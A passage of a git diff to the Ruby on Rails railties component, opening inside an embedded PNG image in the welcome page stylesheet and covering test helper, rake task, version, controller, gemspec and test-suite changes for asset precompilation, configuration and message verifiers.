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);
         background-repeat: no-repeat;
         background-position: top left;
         height: 64px;
       }
+
       #header h1, #header h2 {margin: 0}
+
       #header h2 {
         color: #888;
         font-weight: normal;
         font-size: 16px;
       }
 
-
       #about h3 {
         margin: 0;
         margin-bottom: 10px;
@@ -84,18 +84,26 @@
         margin-left: -55px;
         margin-right: -10px;
       }
+
       #about-content table {
         margin-top: 10px;
         margin-bottom: 10px;
         font-size: 11px;
         border-collapse: collapse;
       }
+
       #about-content td {
         padding: 10px;
         padding-top: 3px;
         padding-bottom: 3px;
       }
-      #about-content td.name  {color: #555}
+
+      #about-content td.name  {
+        font-weight: bold;
+        vertical-align: top;
+        color: #555;
+      }
+
       #about-content td.value {color: #000}
 
       #about-content ul {
@@ -107,21 +115,23 @@
         background-color: #fcc;
         border: 1px solid #f00;
       }
+
       #about-content.failure p {
         margin: 0;
         padding: 10px;
       }
 
-
       #getting-started {
         border-top: 1px solid #ccc;
         margin-top: 25px;
         padding-top: 15px;
       }
+
       #getting-started h1 {
         margin: 0;
         font-size: 20px;
       }
+
       #getting-started h2 {
         margin: 0;
         font-size: 14px;
@@ -129,40 +139,46 @@
         color: #333;
         margin-bottom: 25px;
       }
+
       #getting-started ol {
         margin-left: 0;
         padding-left: 0;
       }
+
       #getting-started li {
         font-size: 18px;
         color: #888;
         margin-bottom: 25px;
       }
+
       #getting-started li h2 {
         margin: 0;
         font-weight: normal;
         font-size: 18px;
         color: #333;
       }
+
       #getting-started li p {
         color: #555;
         font-size: 13px;
       }
 
-
       #sidebar ul {
         margin-left: 0;
         padding-left: 0;
       }
+
       #sidebar ul h3 {
         margin-top: 25px;
         font-size: 16px;
         padding-bottom: 10px;
         border-bottom: 1px solid #ccc;
       }
+
       #sidebar li {
         list-style-type: none;
       }
+
       #sidebar ul.links li {
         margin-bottom: 5px;
       }
@@ -221,7 +237,7 @@
 
           <ol>
             <li>
-              <h2>Use <code>rails generate</code> to create your models and controllers</h2>
+              <h2>Use <code>bin/rails generate</code> to create your models and controllers</h2>
               <p>To see all available options, run it without parameters.</p>
             </li>
 
diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb
index 46f7466551..40a1915b54 100644
--- a/railties/lib/rails/test_help.rb
+++ b/railties/lib/rails/test_help.rb
@@ -4,18 +4,24 @@ abort("Abort testing: Your Rails environment is running in production mode!") if
 
 require 'active_support/testing/autorun'
 require 'active_support/test_case'
+require 'action_controller'
 require 'action_controller/test_case'
 require 'action_dispatch/testing/integration'
 require 'rails/generators/test_case'
 
 # Config Rails backtrace in tests.
 require 'rails/backtrace_cleaner'
-MiniTest.backtrace_filter = Rails.backtrace_cleaner
+if ENV["BACKTRACE"].nil?
+  Minitest.backtrace_filter = Rails.backtrace_cleaner
+end
 
 if defined?(ActiveRecord::Base)
+  ActiveRecord::Migration.maintain_test_schema!
+
   class ActiveSupport::TestCase
     include ActiveRecord::TestFixtures
     self.fixture_path = "#{Rails.root}/test/fixtures/"
+    self.file_fixture_path = self.fixture_path + "files"
   end
 
   ActionDispatch::IntegrationTest.fixture_path = ActiveSupport::TestCase.fixture_path
diff --git a/railties/lib/rails/test_unit/sub_test_task.rb b/railties/lib/rails/test_unit/sub_test_task.rb
index d9bffba4d7..6fa96d2ced 100644
--- a/railties/lib/rails/test_unit/sub_test_task.rb
+++ b/railties/lib/rails/test_unit/sub_test_task.rb
@@ -7,7 +7,7 @@ module Rails
     #
     # This class takes a TestInfo class and defines the appropriate rake task
     # based on the information, then invokes it.
-    class TestCreator
+    class TestCreator # :nodoc:
       def initialize(info)
         @info = info
       end
@@ -41,7 +41,7 @@ module Rails
     # to test files (or can be transformed into test files). Calling <tt>files</tt>
     # provides the set of test files and is used when initializing tests after
     # a call to <tt>rake test</tt>.
-    class TestInfo
+    class TestInfo # :nodoc:
       def initialize(tasks)
         @tasks = tasks
         @files = nil
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 547846c833..d836c0d6d6 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,35 +1,29 @@
-require 'rbconfig'
 require 'rake/testtask'
 require 'rails/test_unit/sub_test_task'
 
 task default: :test
 
-desc 'Runs test:units, test:functionals, test:integration together'
+desc "Runs all tests in test folder"
 task :test do
   Rails::TestTask.test_creator(Rake.application.top_level_tasks).invoke_rake_task
 end
 
 namespace :test do
   task :prepare do
-    # Placeholder task for other Railtie and plugins to enhance. See Active Record for an example.
+    # Placeholder task for other Railtie and plugins to enhance.
+    # If used with Active Record, this task runs before the database schema is synchronized.
   end
 
-  task :run => ['test:units', 'test:functionals', 'test:generators', 'test:integration']
-
-  # Inspired by: http://ngauthier.com/2012/02/quick-tests-with-bash.html
-  desc "Run tests quickly by merging all types and not resetting db"
-  Rails::TestTask.new(:all) do |t|
+  Rails::TestTask.new(:run) do |t|
     t.pattern = "test/**/*_test.rb"
   end
 
-  namespace :all do
-    desc "Run tests quickly, but also reset db"
-    task :db => %w[db:test:prepare test:all]
-  end
+  desc "Run tests quickly, but also reset db"
+  task :db => %w[db:test:prepare test]
 
   Rails::TestTask.new(single: "test:prepare")
 
-  ["models", "helpers", "controllers", "mailers", "integration"].each do |name|
+  ["models", "helpers", "controllers", "mailers", "integration", "jobs"].each do |name|
     Rails::TestTask.new(name => "test:prepare") do |t|
       t.pattern = "test/#{name}/**/*_test.rb"
     end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 5a6d8d0983..df351c4238 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,10 +1,8 @@
-module Rails
-  module VERSION
-    MAJOR = 4
-    MINOR = 1
-    TINY  = 0
-    PRE   = "beta"
+require_relative 'gem_version'
 
-    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+module Rails
+  # Returns the version of the currently loaded Rails as a string.
+  def self.version
+    VERSION::STRING
   end
 end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index 45b764fa6b..de9cd18b01 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,7 @@
-class Rails::WelcomeController < ActionController::Base # :nodoc:
-  self.view_paths = File.expand_path('../templates', __FILE__)
-  layout nil
+require 'rails/application_controller'
+
+class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+  layout false
 
   def index
   end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index 56b8736800..7a1c897e3d 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'Tools for creating, working with, and running Rails applications.'
   s.description = 'Rails internals: application bootup, plugins, generators, and rake tasks.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index 643cc6b0ee..ab8883e135 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -4,6 +4,7 @@ require File.expand_path("../../../load_paths", __FILE__)
 
 require 'stringio'
 require 'active_support/testing/autorun'
+require 'active_support/testing/stream'
 require 'fileutils'
 
 require 'active_support'
@@ -14,6 +15,24 @@ require 'rails/all'
 module TestApp
   class Application < Rails::Application
     config.root = File.dirname(__FILE__)
-    config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+    secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
   end
 end
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+  skip message if RUBY_ENGINE == 'rbx'
+end
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+  skip message if defined?(JRUBY_VERSION)
+end
+
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::Stream
+
+  # FIXME: we have tests that depend on run order, we should fix that and
+  # remove this method call.
+  self.test_order = :sorted
+
+end
diff --git a/railties/test/app_rails_loader_test.rb b/railties/test/app_rails_loader_test.rb
index ceae78ae80..d4885447e6 100644
--- a/railties/test/app_rails_loader_test.rb
+++ b/railties/test/app_rails_loader_test.rb
@@ -3,13 +3,27 @@ require 'abstract_unit'
 require 'rails/app_rails_loader'
 
 class AppRailsLoaderTest < ActiveSupport::TestCase
+  def loader
+    @loader ||= Class.new do
+      extend Rails::AppRailsLoader
+
+      def self.exec_arguments
+        @exec_arguments
+      end
+
+      def self.exec(*args)
+        @exec_arguments = args
+      end
+    end
+  end
+
   def write(filename, contents=nil)
     FileUtils.mkdir_p(File.dirname(filename))
     File.write(filename, contents)
   end
 
   def expects_exec(exe)
-    Rails::AppRailsLoader.expects(:exec).with(Rails::AppRailsLoader::RUBY, exe)
+    assert_equal [Rails::AppRailsLoader::RUBY, exe], loader.exec_arguments
   end
 
   setup do
@@ -22,24 +36,30 @@ class AppRailsLoaderTest < ActiveSupport::TestCase
     exe = "#{script_dir}/rails"
 
     test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
-      File.stubs(:exists?).with('bin/rails').returns(false)
-      File.stubs(:exists?).with('script/rails').returns(false)
+      def loader.find_executables; end
+
+      assert !loader.exec_app_rails
+    end
 
-      assert !Rails::AppRailsLoader.exec_app_rails
+    test "is not in a Rails application if #{exe} exists but is a folder" do
+      FileUtils.mkdir_p(exe)
+
+      assert !loader.exec_app_rails
     end
 
     ['APP_PATH', 'ENGINE_PATH'].each do |keyword|
       test "is in a Rails application if #{exe} exists and contains #{keyword}" do
         write exe, keyword
 
+        loader.exec_app_rails
+
         expects_exec exe
-        Rails::AppRailsLoader.exec_app_rails
       end
 
       test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do
         write exe
 
-        assert !Rails::AppRailsLoader.exec_app_rails
+        assert !loader.exec_app_rails
       end
 
       test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do
@@ -48,8 +68,9 @@ class AppRailsLoaderTest < ActiveSupport::TestCase
 
         Dir.chdir('foo/bar')
 
+        loader.exec_app_rails
+
         expects_exec exe
-        Rails::AppRailsLoader.exec_app_rails
 
         # Compare the realpath in case either of them has symlinks.
         #
diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb
index 4de8fcaa38..0a2f283cce 100644
--- a/railties/test/application/assets_test.rb
+++ b/railties/test/application/assets_test.rb
@@ -1,4 +1,3 @@
-# -*- coding: utf-8 -*-
 require 'isolation/abstract_unit'
 require 'rack/test'
 require 'active_support/json'
@@ -37,7 +36,7 @@ module ApplicationTests
     end
 
     def assert_no_file_exists(filename)
-      assert !File.exists?(filename), "#{filename} does exist"
+      assert !File.exist?(filename), "#{filename} does exist"
     end
 
     test "assets routes have higher priority" do
@@ -50,6 +49,8 @@ module ApplicationTests
         end
       RUBY
 
+      add_to_env_config "development", "config.assets.digest = false"
+
       require "#{app_path}/config/environment"
 
       get "/assets/demo.js"
@@ -189,7 +190,6 @@ module ApplicationTests
     end
 
     test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do
-      add_to_config "config.assets.digest = true"
       add_to_config "config.action_controller.perform_caching = false"
 
       ENV["RAILS_ENV"] = "production"
@@ -199,10 +199,9 @@ module ApplicationTests
     end
 
     test "precompile creates a manifest file with all the assets listed" do
+      app_file "app/assets/images/rails.png", "notactuallyapng"
       app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
       app_file "app/assets/javascripts/application.js", "alert();"
-      # digest is default in false, we must enable it for test environment
-      add_to_config "config.assets.digest = true"
 
       precompile!
       manifest = Dir["#{app_path}/public/assets/manifest-*.json"].first
@@ -214,8 +213,6 @@ module ApplicationTests
 
     test "the manifest file should be saved by default in the same assets folder" do
       app_file "app/assets/javascripts/application.js", "alert();"
-      # digest is default in false, we must enable it for test environment
-      add_to_config "config.assets.digest = true"
       add_to_config "config.assets.prefix = '/x'"
 
       precompile!
@@ -227,7 +224,7 @@ module ApplicationTests
 
     test "assets do not require any assets group gem when manifest file is present" do
       app_file "app/assets/javascripts/application.js", "alert();"
-      add_to_env_config "production", "config.serve_static_assets = true"
+      add_to_env_config "production", "config.serve_static_files = true"
 
       ENV["RAILS_ENV"] = "production"
       precompile!
@@ -248,7 +245,6 @@ module ApplicationTests
     test "precompile properly refers files referenced with asset_path and runs in the provided RAILS_ENV" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
       app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
-      # digest is default in false, we must enable it for test environment
       add_to_env_config "test", "config.assets.digest = true"
 
       precompile!('RAILS_ENV=test')
@@ -260,7 +256,7 @@ module ApplicationTests
     test "precompile shouldn't use the digests present in manifest.json" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
 
-      app_file "app/assets/stylesheets/application.css.erb", "//= depend_on rails.png\np { url: <%= asset_path('rails.png') %> }"
+      app_file "app/assets/stylesheets/application.css.erb", "p { url: <%= asset_path('rails.png') %> }"
 
       ENV["RAILS_ENV"] = "production"
       precompile!
@@ -280,12 +276,9 @@ module ApplicationTests
     test "precompile appends the md5 hash to files referenced with asset_path and run in production with digest true" do
       app_file "app/assets/images/rails.png", "notactuallyapng"
       app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>"
-      add_to_config "config.assets.compile = true"
-      add_to_config "config.assets.digest = true"
-
-      ENV["RAILS_ENV"] = nil
 
-      precompile!('RAILS_GROUPS=assets')
+      ENV["RAILS_ENV"] = "production"
+      precompile!
 
       file = Dir["#{app_path}/public/assets/application-*.css"].first
       assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file))
@@ -293,7 +286,7 @@ module ApplicationTests
 
     test "precompile should handle utf8 filenames" do
       filename = "レイルズ.png"
-      app_file "app/assets/images/#{filename}", "not a image really"
+      app_file "app/assets/images/#{filename}", "not an image really"
       add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]"
 
       precompile!
@@ -305,7 +298,7 @@ module ApplicationTests
       require "#{app_path}/config/environment"
 
       get "/assets/#{URI.parser.escape(asset_path)}"
-      assert_match "not a image really", last_response.body
+      assert_match "not an image really", last_response.body
       assert_file_exists("#{app_path}/public/assets/#{asset_path}")
     end
 
@@ -341,6 +334,8 @@ module ApplicationTests
         end
       RUBY
 
+      add_to_env_config "development", "config.assets.digest = false"
+
       require "#{app_path}/config/environment"
 
       class ::OmgController < ActionController::Base
@@ -365,6 +360,8 @@ module ApplicationTests
 
       app_file "app/assets/javascripts/demo.js", "alert();"
 
+      add_to_env_config "development", "config.assets.digest = false"
+
       require "#{app_path}/config/environment"
 
       get "/assets/demo.js"
@@ -394,7 +391,6 @@ module ApplicationTests
       app_file "app/assets/javascripts/application.js", "//= require_tree ."
       app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>"
 
-      add_to_config "config.assets.digest = false"
       precompile!
       assert_equal "Post;\n", File.read(Dir["#{app_path}/public/assets/application-*.js"].first)
     end
@@ -414,7 +410,6 @@ module ApplicationTests
     test "digested assets are not mistakenly removed" do
       app_file "app/assets/application.js", "alert();"
       add_to_config "config.assets.compile = true"
-      add_to_config "config.assets.digest = true"
 
       precompile!
 
@@ -437,6 +432,7 @@ module ApplicationTests
     test "asset urls should use the request's protocol by default" do
       app_with_assets_in_view
       add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
       require "#{app_path}/config/environment"
       class ::PostsController < ActionController::Base; end
 
@@ -448,23 +444,24 @@ module ApplicationTests
 
     test "asset urls should be protocol-relative if no request is in scope" do
       app_file "app/assets/images/rails.png", "notreallyapng"
-      app_file "app/assets/javascripts/image_loader.js.erb", 'var src="<%= image_path("rails.png") %>";'
-      add_to_config "config.assets.precompile = %w{image_loader.js}"
+      app_file "app/assets/javascripts/image_loader.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png image_loader.js}"
       add_to_config "config.asset_host = 'example.com'"
+      add_to_env_config "development", "config.assets.digest = false"
       precompile!
 
-      assert_match 'src="//example.com/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
+      assert_match "src='//example.com/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/image_loader-*.js"].first)
     end
 
     test "asset paths should use RAILS_RELATIVE_URL_ROOT by default" do
       ENV["RAILS_RELATIVE_URL_ROOT"] = "/sub/uri"
       app_file "app/assets/images/rails.png", "notreallyapng"
-
-      app_file "app/assets/javascripts/app.js.erb", 'var src="<%= image_path("rails.png") %>";'
-      add_to_config "config.assets.precompile = %w{app.js}"
+      app_file "app/assets/javascripts/app.js.erb", "var src='<%= image_path('rails.png') %>';"
+      add_to_config "config.assets.precompile = %w{rails.png app.js}"
+      add_to_env_config "development", "config.assets.digest = false"
       precompile!
 
-      assert_match 'src="/sub/uri/assets/rails.png"', File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
+      assert_match "src='/sub/uri/assets/rails.png'", File.read(Dir["#{app_path}/public/assets/app-*.js"].first)
     end
 
     test "assets:cache:clean should clean cache" do
diff --git a/railties/test/application/basic_rendering_test.rb b/railties/test/application/basic_rendering_test.rb
deleted file mode 100644
index 00ba433a05..0000000000
--- a/railties/test/application/basic_rendering_test.rb
+++ /dev/null
@@ -1,62 +0,0 @@
-require 'isolation/abstract_unit'
-require 'rack/test'
-
-module ApplicationTests
-  class BasicRenderingTest < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
-    include Rack::Test::Methods
-
-    def setup
-      build_app
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    test "Rendering without ActionView" do
-      gsub_app_file 'config/application.rb', "require 'rails/all'", <<-RUBY
-        require "active_model/railtie"
-        require "action_controller/railtie"
-      RUBY
-
-      # Turn off ActionView and jquery-rails (it depends on AV)
-      $:.reject! {|path| path =~ /(actionview|jquery\-rails)/ }
-      boot_rails
-
-      app_file 'app/controllers/pages_controller.rb', <<-RUBY
-        class PagesController < ApplicationController
-          def render_hello_world
-            render text: "Hello World!"
-          end
-
-          def render_nothing
-            render nothing: true
-          end
-
-          def no_render; end
-
-          def raise_error
-            render foo: "bar"
-          end
-        end
-      RUBY
-
-      get '/pages/render_hello_world'
-      assert_equal 200, last_response.status
-      assert_equal "Hello World!", last_response.body
-      assert_equal "text/plain; charset=utf-8", last_response.content_type
-
-      get '/pages/render_nothing'
-      assert_equal 200, last_response.status
-      assert_equal " ", last_response.body
-      assert_equal "text/plain; charset=utf-8", last_response.content_type
-
-      get '/pages/no_render'
-      assert_equal 500, last_response.status
-
-      get '/pages/raise_error'
-      assert_equal 500, last_response.status
-    end
-  end
-end
diff --git a/railties/test/application/configuration/base_test.rb b/railties/test/application/configuration/base_test.rb
new file mode 100644
index 0000000000..d6a82b139d
--- /dev/null
+++ b/railties/test/application/configuration/base_test.rb
@@ -0,0 +1,37 @@
+require 'isolation/abstract_unit'
+require 'rack/test'
+require 'env_helpers'
+
+module ApplicationTests
+  module ConfigurationTests
+    class BaseTest < ActiveSupport::TestCase
+      def setup
+        build_app
+        boot_rails
+        FileUtils.rm_rf("#{app_path}/config/environments")
+      end
+
+      def teardown
+        teardown_app
+        FileUtils.rm_rf(new_app) if File.directory?(new_app)
+      end
+
+      private
+        def new_app
+          File.expand_path("#{app_path}/../new_app")
+        end
+
+        def copy_app
+          FileUtils.cp_r(app_path, new_app)
+        end
+
+        def app
+          @app ||= Rails.application
+        end
+
+        def require_environment
+          require "#{app_path}/config/environment"  
+        end
+    end
+  end
+end
\ No newline at end of file
diff --git a/railties/test/application/configuration/custom_test.rb b/railties/test/application/configuration/custom_test.rb
new file mode 100644
index 0000000000..f8d22f6d97
--- /dev/null
+++ b/railties/test/application/configuration/custom_test.rb
@@ -0,0 +1,22 @@
+require 'application/configuration/base_test'
+
+class ApplicationTests::ConfigurationTests::CustomTest < ApplicationTests::ConfigurationTests::BaseTest
+  test 'access custom configuration point' do
+    add_to_config <<-RUBY
+      config.x.payment_processing.schedule = :daily
+      config.x.payment_processing.retries  = 3
+      config.x.super_debugger              = true
+      config.x.hyper_debugger              = false
+      config.x.nil_debugger                = nil
+    RUBY
+    require_environment
+
+    x = Rails.configuration.x
+    assert_equal :daily, x.payment_processing.schedule
+    assert_equal 3, x.payment_processing.retries
+    assert_equal true, x.super_debugger
+    assert_equal false, x.hyper_debugger
+    assert_equal nil, x.nil_debugger
+    assert_nil x.i_do_not_exist.zomg
+  end
+end
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 03a735b1c1..8f5b2d0d68 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -8,6 +8,12 @@ end
 
 class ::MyOtherMailInterceptor < ::MyMailInterceptor; end
 
+class ::MyPreviewMailInterceptor
+  def self.previewing_email(email); email; end
+end
+
+class ::MyOtherPreviewMailInterceptor < ::MyPreviewMailInterceptor; end
+
 class ::MyMailObserver
   def self.delivered_email(email); email; end
 end
@@ -35,7 +41,7 @@ module ApplicationTests
     def setup
       build_app
       boot_rails
-      FileUtils.rm_rf("#{app_path}/config/environments")
+      supress_default_config
     end
 
     def teardown
@@ -43,6 +49,15 @@ module ApplicationTests
       FileUtils.rm_rf(new_app) if File.directory?(new_app)
     end
 
+    def supress_default_config
+      FileUtils.mv("#{app_path}/config/environments", "#{app_path}/config/__environments__")
+    end
+
+    def restore_default_config
+      FileUtils.rm_rf("#{app_path}/config/environments")
+      FileUtils.mv("#{app_path}/config/__environments__", "#{app_path}/config/environments")
+    end
+
     test "Rails.env does not set the RAILS_ENV environment variable which would leak out into rake tasks" do
       require "rails"
 
@@ -53,6 +68,20 @@ module ApplicationTests
       end
     end
 
+    test "lib dir is on LOAD_PATH during config" do
+      app_file 'lib/my_logger.rb', <<-RUBY
+        require "logger"
+        class MyLogger < ::Logger
+        end
+      RUBY
+      add_to_top_of_config <<-RUBY
+        require 'my_logger'
+        config.logger = MyLogger.new STDOUT
+      RUBY
+      require "#{app_path}/config/environment"
+      assert_equal 'MyLogger', Rails.application.config.logger.class.name
+    end
+
     test "a renders exception on pending migration" do
       add_to_config <<-RUBY
         config.active_record.migration_error    = :page_load
@@ -60,13 +89,25 @@ module ApplicationTests
         config.action_dispatch.show_exceptions  = true
       RUBY
 
+      app_file 'db/migrate/20140708012246_create_user.rb', <<-RUBY
+        class CreateUser < ActiveRecord::Migration
+          def change
+            create_table :users
+          end
+        end
+      RUBY
+
       require "#{app_path}/config/environment"
-      ActiveRecord::Migrator.stubs(:needs_migration?).returns(true)
-      ActiveRecord::NullMigration.any_instance.stubs(:mtime).returns(1)
 
-      get "/foo"
-      assert_equal 500, last_response.status
-      assert_match "ActiveRecord::PendingMigrationError", last_response.body
+      ActiveRecord::Migrator.migrations_paths = ["#{app_path}/db/migrate"]
+
+      begin
+        get "/foo"
+        assert_equal 500, last_response.status
+        assert_match "ActiveRecord::PendingMigrationError", last_response.body
+      ensure
+        ActiveRecord::Migrator.migrations_paths = nil
+      end
     end
 
     test "Rails.groups returns available groups" do
@@ -100,7 +141,7 @@ module ApplicationTests
     test "Rails::Application responds to paths" do
       require "#{app_path}/config/environment"
       assert_respond_to AppTemplate::Application, :paths
-      assert_equal AppTemplate::Application.paths["app/views"].expanded, ["#{app_path}/app/views"]
+      assert_equal ["#{app_path}/app/views"], AppTemplate::Application.paths["app/views"].expanded
     end
 
     test "the application root is set correctly" do
@@ -164,7 +205,7 @@ module ApplicationTests
 
     test "application is always added to eager_load namespaces" do
       require "#{app_path}/config/application"
-      assert Rails.application, Rails.application.config.eager_load_namespaces
+      assert_includes Rails.application.config.eager_load_namespaces, AppTemplate::Application
     end
 
     test "the application can be eager loaded even when there are no frameworks" do
@@ -248,10 +289,41 @@ module ApplicationTests
       assert_equal Pathname.new(app_path).join("somewhere"), Rails.public_path
     end
 
+    test "In production mode, config.serve_static_files is off by default" do
+      restore_default_config
+
+      with_rails_env "production" do
+        require "#{app_path}/config/environment"
+        assert_not app.config.serve_static_files
+      end
+    end
+
+    test "In production mode, config.serve_static_files is enabled when RAILS_SERVE_STATIC_FILES is set" do
+      restore_default_config
+
+      with_rails_env "production" do
+        switch_env "RAILS_SERVE_STATIC_FILES", "1" do
+          require "#{app_path}/config/environment"
+          assert app.config.serve_static_files
+        end
+      end
+    end
+
+    test "In production mode, config.serve_static_files is disabled when RAILS_SERVE_STATIC_FILES is blank" do
+      restore_default_config
+
+      with_rails_env "production" do
+        switch_env "RAILS_SERVE_STATIC_FILES", " " do
+          require "#{app_path}/config/environment"
+          assert_not app.config.serve_static_files
+        end
+      end
+    end
+
     test "Use key_generator when secret_key_base is set" do
-      make_basic_app do |app|
-        app.config.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
-        app.config.session_store :disabled
+      make_basic_app do |application|
+        application.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        application.config.session_store :disabled
       end
 
       class ::OmgController < ActionController::Base
@@ -268,6 +340,187 @@ module ApplicationTests
       assert_equal 'some_value', verifier.verify(last_response.body)
     end
 
+    test "application verifier can be used in the entire application" do
+      make_basic_app do |application|
+        application.secrets.secret_key_base = 'b3c631c314c0bbca50c1b2843150fe33'
+        application.config.session_store :disabled
+      end
+
+      message = app.message_verifier(:sensitive_value).generate("some_value")
+
+      assert_equal 'some_value', Rails.application.message_verifier(:sensitive_value).verify(message)
+
+      secret = app.key_generator.generate_key('sensitive_value')
+      verifier = ActiveSupport::MessageVerifier.new(secret)
+      assert_equal 'some_value', verifier.verify(message)
+    end
+
+    test "application message verifier can be used when the key_generator is ActiveSupport::LegacyKeyGenerator" do
+      app_file 'config/initializers/secret_token.rb', <<-RUBY
+        Rails.application.config.secret_token = "b3c631c314c0bbca50c1b2843150fe33"
+      RUBY
+      app_file 'config/secrets.yml', <<-YAML
+        development:
+          secret_key_base:
+      YAML
